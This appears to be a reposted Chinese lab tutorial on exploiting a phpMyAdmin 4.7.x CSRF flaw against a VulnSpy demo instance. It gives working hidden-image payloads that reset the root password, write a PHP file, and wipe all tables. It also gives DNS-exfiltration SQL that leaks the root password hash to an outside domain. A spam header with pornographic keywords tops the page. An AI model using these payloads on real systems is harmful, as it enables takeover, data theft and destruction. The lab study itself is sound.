亚洲激情专区-91九色丨porny丨老师-久久久久久久女国产乱让韩-国产精品午夜小视频观看

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

發布時間:2021-10-23 09:28:25 來源:億速云 閱讀:156 作者:柒染 欄目:網絡安全

這篇文章將為大家詳細講解有關怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用,文章內容質量較高,因此小編分享給大家做個參考,希望大家閱讀完這篇文章后對相關知識有一定的了解。

phpMyAdmin是個知名MySQL/MariaDB在線管理工具,phpMyAdmin團隊在4.7.7版本中修復了一個危害嚴重的CSRF漏洞(PMASA-2017-9),攻擊者可以通過誘導管理員訪問惡意頁面,悄無聲息地執行任意SQL語句。

我們將結合VulnSpy的在線phpMyAdmin環境來熟悉該漏洞的利用。

注:重啟演示靶機即可重置靶機

1 在線創建 phpMyAdmin 環境

點擊 VulnSpy 提供的創建靶機地址(https://www.vsplate.com/?github=vulnspy/PMASA-2017-9)


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

跳轉到 VSPlate 后,直接點擊GO按鈕,便會自動創建一個 phpMyAdmin 環境


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

打開演示地址的鏈接,我們的 phpMyAdmin 就創建完成了。


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

使用帳號 root ,密碼 toor ,登錄 phpMyAdmin 。根據頁面信息,我們可以發現當前 phpMyAdmin 的版本為 4.7.6,剛好匹配存在漏洞的 phpMyAdmin 版本。

怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

2 CSRF 漏洞利用 - 修改當前數據庫用戶密碼

我們知道,如果要利用CSRF來刪除或修改數據庫內容,通查情況下需要提前知道數據庫名、表名和字段名。這樣利用顯得有點復雜,成功率也有限,因此本文我們將介紹幾種較為通用的利用方式。

在MySQL中支持使用SQL語句來修改當前用戶密碼。比如將當前用戶密碼修改為[www.vulnspy.com](http://www.vulnspy.com),對應的SQL語句為:

SET passsword=PASSWORD('www.vulnspy.com');

利用演示

2.1 模擬管理員登錄phpMyAdmin的狀態。

用帳號 root 密碼 toor 登錄 phpMyAdmin 。

怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

2.2 創建含有惡意代碼的頁面。

文件名 2.payload.html (將下面的域名換成自己的靶機域名)

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=SET%20password%20=%20PASSWORD(%27www.vulnspy.com%27)" hljs-string">" />

2.3 用瀏覽器打開含有惡意代碼的文件 2.payload.html


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

回到上一步打開的phpMyAdmin頁面,發現已自動退出,而且用原來的密碼 toor 已經無法登錄。

怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

2.4 使用密碼 www.vulnspy.com 登錄成功,表明利用成功


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

3 CSRF 漏洞利用 - 寫文件

MySQL支持將查詢結果寫到文件當中,我們可以利用該特性來寫入PHP文件。比如將代碼<?php phpinfo();?>寫到文件/var/www/html/test.php中,對應的SQL語句為:

select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';

利用演示

3.1 將上一個演示步驟相同,只需將2.2中的文件代碼改成:

<p>Hello World</p><img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/sql.php?db=mysql&table=user&sql_query=select '<?php phpinfo();?>' into outfile '/var/www/html/test.php';" style="display:none;" />

3.2 用瀏覽器打開含有惡意代碼的文件

3.3 訪問 test.php


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

可見文件已經寫入成功。

4 CSRF 漏洞利用 - 獲取數據

MySQL提供了load_file()函數來支持讀取文件內容的操作。比如讀取文件/etc/passwd內容,,對應的SQL語句為:

select load_file('/etc/passwd');

但是對于CSRF漏洞來說,該讀取操作實在目標用戶端執行的,我們依然無法知道文件讀取的結果。而load_file()在Windows下支持從網絡共享文件夾中讀取文件,如\\192.168.1.100\share\vulnspy.txt。網絡共享文件的地址處不僅可以填寫IP還可以填寫域名,我們可以通過DNS解析來獲取查詢的數據。

此處需要用到 DNSLOG 之類的工具:https://github.com/BugScanTeam/DNSLog, 這類工具可以記錄域名的 DNS 解析記錄

比如通過DNS解析來獲取當前 MySQL root 用戶密碼,對應的SQL語句為:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.vulnspy.com\\test'));

獲取當前數據庫名:

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT database()),'.vulnspy.com\\test'));

如果請求成功,查詢結果將作為二級域名的一部分出現在我們的 DNS 解析記錄當中。

該環境暫無法演示

5 CSRF 漏洞利用 - 清空所有數據表

如果上面幾種利用方式都無法直接造成直接的影響,我們可以利用SQL語句來清空當前MySQL用戶可操作的所有數據表。

我們用命令

SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1

來獲取數據名和表名,并將其拼接成刪除語句(如:DELETE FROM vulnspy_tables.inv),通過 execute 來執行生成的刪除語句:

set @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT 0,1);prepare stmt from @del;execute stmt;

但是 execute 一次只能執行一條SQL語句,因此我們可以利用循環語句來逐一執行:

DROP PROCEDURE IF EXISTS EMPT;DELIMITER $$
    CREATE PROCEDURE EMPT()    BEGIN        DECLARE i INT;        SET i = 0;
        WHILE i < 100 DO            SET @del = (SELECT CONCAT('DELETE FROM ',TABLE_SCHEMA,'.',TABLE_NAME) FROM information_schema.TABLES WHERE TABLE_SCHEMA NOT LIKE '%_schema' and TABLE_SCHEMA!='mysql' LIMIT i,1);
            PREPARE STMT FROM @del;
            EXECUTE STMT;
            SET i = i +1;
        END WHILE;
    END $$
DELIMITER ;

CALL EMPT();

利用演示

5.1 Payload如下

<p>Hello World</p>
<img src="http://7f366ec1afc5832757a402b5355132d0.vsplate.me/import.php?db=mysql&table=user&sql_query=DROP+PROCEDURE+IF+EXISTS+EMPT%3B%0ADELIMITER+%24%24%0A++++CREATE+PROCEDURE+EMPT%28%29%0A++++BEGIN%0A++++++++DECLARE+i+INT%3B%0A++++++++SET+i+%3D+0%3B%0A++++++++WHILE+i+%3C+100+DO%0A++++++++++++SET+%40del+%3D+%28SELECT+CONCAT%28%27DELETE+FROM+%27%2CTABLE_SCHEMA%2C%27.%27%2CTABLE_NAME%29+FROM+information_schema.TABLES+WHERE+TABLE_SCHEMA+NOT+LIKE+%27%25_schema%27+and+TABLE_SCHEMA%21%3D%27mysql%27+LIMIT+i%2C1%29%3B%0A++++++++++++PREPARE+STMT+FROM+%40del%3B%0A++++++++++++EXECUTE+stmt%3B%0A++++++++++++SET+i+%3D+i+%2B1%3B%0A++++++++END+WHILE%3B%0A++++END+%24%24%0ADELIMITER+%3B%0A%0ACALL+EMPT%28%29%3B%0A" hljs-string">" />

5.2 用瀏覽器打開含有惡意代碼的文件

5.3 回到 phpMyAdmin 中查看數據

可以發現數據庫vulnspy_tables和數據庫vulnspy_test中的數據已經被清空。


怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用

6 總結

這個 phpMyAdmin 的 CSRF 漏洞利用有點類似 SQL 盲注的利用,但是對于漏洞觸發的時間不可控(即不知道管理員何時會訪問含有惡意代碼的頁面),因此需要更加通用的利用方式。通過該實驗,不僅了解該漏洞的內容,還可以更加熟悉CSRF漏洞的利用。

關于怎樣進行phpMyAdmin 4.7.x CSRF 漏洞利用就分享到這里了,希望以上內容可以對大家有一定的幫助,可以學到更多知識。如果覺得文章不錯,可以把它分享出去讓更多的人看到。

向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

温泉县| 两当县| 斗六市| 子洲县| 泾阳县| 葫芦岛市| 衡阳县| 辽宁省| 东山县| 贵南县| 三河市| 长治县| 赤城县| 广灵县| 离岛区| 绵阳市| 邳州市| 洪洞县| 昂仁县| 荆门市| 枣强县| 施甸县| 河曲县| 冷水江市| 孟州市| 富平县| 鸡东县| 久治县| 平泉县| 资溪县| 金门县| 荣成市| 仁寿县| 牟定县| 新疆| 基隆市| 桐柏县| 九龙坡区| 盐津县| 定日县| 岑巩县|